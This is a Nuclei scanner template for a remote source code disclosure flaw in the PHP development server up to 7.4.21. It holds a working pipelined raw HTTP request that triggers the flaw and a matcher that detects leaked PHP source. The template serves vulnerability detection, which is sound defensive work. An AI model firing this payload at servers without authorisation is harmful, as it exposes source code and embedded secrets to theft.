php-src-diclosure: PHP Development Server <= 7.4.21 - Remote Source Disclosure

id: php-src-diclosure

info:
  name: PHP Development Server <= 7.4.21 - Remote Source Disclosure
  author: pdteam
  severity: high
  description: |
    A source code disclosure vulnerability in a web server caused by improper handling of multiple requests in quick succession, leading to the server treating requested files as static files instead of executing scripts.
  reference:
    - https://blog.projectdiscovery.io/php-http-server-source-disclosure/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-540
  metadata:
    max-request: 2
  tags: php,phpcli,diclosure,misconfig,vuln

http:
  - raw:
      - |+
        GET /  HTTP/1.1
        Host: {{Hostname}}

        GET /{{rand_base(3)}}.{{rand_base(2)}} HTTP/1.1





      - |+
        GET /  HTTP/1.1
        Host: {{Hostname}}

    unsafe: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "<?php")'
          - '!contains(body_2, "<?php")'
        condition: and
# digest: 4a0a00473045022100e243cdb607addb3f6c57fecd1c55fb1fdeb7d6d19237f2629e2f6e111cc5e9b9022045377ea5d3d928afc50760a8575b9435ab505bd86fd35e4c4fbca67c396f71fa:922c64590222798bb761d5b6d8e72950